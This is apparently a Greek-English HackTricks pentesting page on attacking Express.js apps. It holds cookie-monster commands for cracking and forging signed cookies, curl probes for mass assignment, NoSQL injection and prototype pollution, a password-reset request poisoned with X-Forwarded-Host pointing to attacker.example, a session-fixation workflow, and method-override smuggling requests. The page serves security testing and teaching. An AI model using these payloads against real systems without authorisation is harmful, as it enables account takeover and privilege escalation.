NodeJS Express
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Quick Fingerprinting
Χρήσιμοι δείκτες Express κατά το recon:
X-Powered-By: Expressor stack traces mentioningexpress,body-parser,qs,cookie-parser,express-session, orfinalhandler- Cookies prefixed with
s:(signed cookie) orj:(JSON cookie) - Session cookies such as
connect.sid - Hidden form fields or query parameters such as
_method=PUT/_method=DELETE - Error pages leaking
Cannot GET /path,Cannot POST /path,Unexpected tokeninbody-parser, orURIErrorduring query parsing
When you confirm Express, focus on the middleware chain, because most interesting bugs come from parsers, proxy trust, session handling, and method-tunneling rather than from the framework core itself.
Cookie Signature
The tool https://github.com/DigitalInterruption/cookie-monster είναι ένα utility για αυτοματοποίηση των δοκιμών και του re-signing των Express.js cookie secrets.
Express commonly exposes two useful cookie formats:
s:<value>.<sig>signed cookies handled bycookie-parserorexpress-sessionj:<json>JSON cookies that are automatically parsed bycookie-parser
If cookie-parser receives a signed cookie and the signature is invalid, the value becomes false instead of the tampered value. If the application accepts an array of secrets, old secrets may still verify existing cookies after rotation.
Single cookie with a specific name
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session
Προσαρμοσμένη λίστα λέξεων
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst
Δοκιμάστε πολλαπλά cookies σε batch mode
cookie-monster -b -f cookies.json
Δοκιμάστε πολλαπλά cookies χρησιμοποιώντας batch mode με custom wordlist
cookie-monster -b -f cookies.json -w custom.lst
Κωδικοποιήστε και υπογράψτε ένα νέο cookie
Αν γνωρίζετε το secret, μπορείτε να υπογράψετε το cookie.
cookie-monster -e -f new_cookie.json -k secret
Κατάχρηση Query String και URL-Encoded Parser
Express targets often become interesting when they parse attacker-controlled keys into nested objects.
req.queryμπορεί να ρυθμιστεί με διαφορετικούς parsers, συμπεριλαμβανομένου τουqsexpress.urlencoded({ extended: true })χρησιμοποιείqs-style parsing γιαapplication/x-www-form-urlencoded- Η nested parsing ξεκλειδώνει object injection, mass assignment, NoSQL injection και prototype pollution chains αν το parsed object συγχωνευτεί στην κατάσταση της εφαρμογής
Πρακτικά payloads για δοκιμή:
# Mass assignment style probe
curl 'https://target.example/profile?role=admin&isAdmin=true'
# Nested object / qs syntax
curl 'https://target.example/search?user[role]=admin&filters[name][$ne]=x'
# URL-encoded body against express.urlencoded({ extended: true })
curl -X POST 'https://target.example/api/update' -H 'Content-Type: application/x-www-form-urlencoded' --data 'profile[role]=admin&filters[$ne]=x'
Αν η εφαρμογή αντανακλά ή αποθηκεύει το προκύπτον αντικείμενο, ανατρέξτε στις ειδικές σελίδες για λεπτομέρειες εκμετάλλευσης:
Express Prototype Pollution Gadgets
Επιπλέον δοκιμές που αξίζει να εκτελέσετε ειδικά ενάντια στο Express:
- Βαθιά εμφώλευση για έλεγχο ορίων του αναλυτή, χρονικών ορίων (timeouts), ή διαφορών 400/413
- Διπλά κλειδιά για να δείτε εάν η εφαρμογή διατηρεί την πρώτη τιμή, την τελευταία, ή έναν πίνακα (array)
- Σύνταξη με αγκύλες όπως
a[b][c]=1, σύνταξη με τελείες όπωςa.b=1, και payloads__proto__/constructor[prototype]
trust proxy Κατάχρηση
Εάν η εφαρμογή χρησιμοποιεί app.set("trust proxy", true) ή εμπιστεύεται υπερβολικά πολλά hops, το Express θα εξάγει τιμές σχετικές με την ασφάλεια από τα forwarding headers. Εάν ο reverse proxy δεν τα επανεγγράφει, ένας client μπορεί να τα πλαστογραφήσει απευθείας.
Αυτό επηρεάζει:
req.hostnameμέσωX-Forwarded-Hostreq.protocolμέσωX-Forwarded-Protoreq.ip/req.ipsμέσωX-Forwarded-For
Αυτό είναι χρήσιμο για:
- Password reset poisoning και absolute URL poisoning
- Παράκαμψη allowlists βάσει IP, rate limits, ή audit trails
- Επηρεασμός της διαχείρισης των
securecookies και της λογικής μόνο-HTTPS σε εφαρμογές που βασίζονται στοreq.protocol - Poisoning redirects ή cacheable responses όταν η εφαρμογή templates απόλυτους συνδέσμους με forwarded host/proto headers
POST /reset-password HTTP/1.1
Host: target.example
X-Forwarded-Host: attacker.example
X-Forwarded-Proto: https
X-Forwarded-For: 127.0.0.1
Content-Type: application/json
{"email":"victim@target.example"}
Ελέγξτε εάν οι παραγόμενοι σύνδεσμοι, οι τοποθεσίες ανακατεύθυνσης, τα logs ή οι αποφάσεις access-control πλέον χρησιμοποιούν attacker-supplied τιμές.
Related pages:
Reset/Forgotten Password Bypass
Cache Poisoning and Cache Deception
express-session Σημειώσεις Δοκιμών
Common Express deployments use express-session, which signs the session identifier cookie but stores the real state server-side.
Χρήσιμοι έλεγχοι:
- Session fixation: αυθεντικοποιηθείτε με ένα pre-login cookie και επαληθεύστε εάν το SID παραμένει ίδιο μετά το login
- Weak secret rotation: ορισμένες εγκαταστάσεις επαληθεύουν cookies με έναν πίνακα παλιών secrets, οπότε προηγουμένως έγκυρες υπογραφές μπορεί να συνεχίσουν να λειτουργούν
saveUninitialized: true: η εφαρμογή εκδίδει pre-auth sessions σε ανώνυμους χρήστες, κάτι που κάνει το fixation πιο εύκολο και αυξάνει την επιφάνεια των sessions για brute-force ή cache analysisMemoryStoreσε production συνήθως υποδεικνύει χαμηλή ωριμότητα λειτουργίας και ασταθή συμπεριφορά των sessions κατά τις επανεκκινήσεις
Πρακτικό workflow για fixation:
- Πάρτε ένα ανώνυμο session cookie από τον στόχο.
- Στείλτε αυτό το cookie σε ένα victim ή αυθεντικοποιηθείτε με αυτό ο ίδιος.
- Ελέγξτε εάν το login δένει την authenticated κατάσταση με το υπάρχον SID.
- Αν ναι, αναπαίξτε (replay) το ίδιο cookie σε ξεχωριστή browser session.
Αν η εφαρμογή δεν καλεί req.session.regenerate() μετά την authentication, το fixation συχνά παραμένει δυνατό.
Method Override Tunneling
Μερικές Express εφαρμογές χρησιμοποιούν το method-override για να tunnel τα HTTP verbs που τα HTML forms δεν μπορούν να στείλουν εγγενώς. Όταν είναι ενεργό, δοκιμάστε πάντα αν μπορείτε να smuggle επικίνδυνες μεθόδους μέσω μίας διαδρομής που το front-end, το WAF ή η λογική CSRF θεώρησαν ότι ήταν μόνο POST.
Τυπικά probes:
POST /users/42 HTTP/1.1
Host: target.example
X-HTTP-Method-Override: DELETE
Content-Type: application/x-www-form-urlencoded
confirm=yes
POST /users/42?_method=PUT HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
role=admin
Ενδιαφέροντες αντίκτυποι:
- Πρόσβαση σε κρυφές
PUT/PATCH/DELETEroutes μέσω ενόςPOST-only edge control - Παρακάμπτοντας route-specific middleware που ελέγχει μόνο το
req.method - Προκαλώντας state-changing handlers μέσω CSRF όταν η εφαρμογή επικυρώνει μόνο την εξωτερική μέθοδο του request
Κατά προεπιλογή το middleware συνήθως αντικαθιστά μόνο το POST, οπότε δώστε προτεραιότητα σε POST requests με τιμές override στα header, body και query-string.
Αναφορές
- https://expressjs.com/en/guide/behind-proxies.html
- https://portswigger.net/research/server-side-prototype-pollution
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


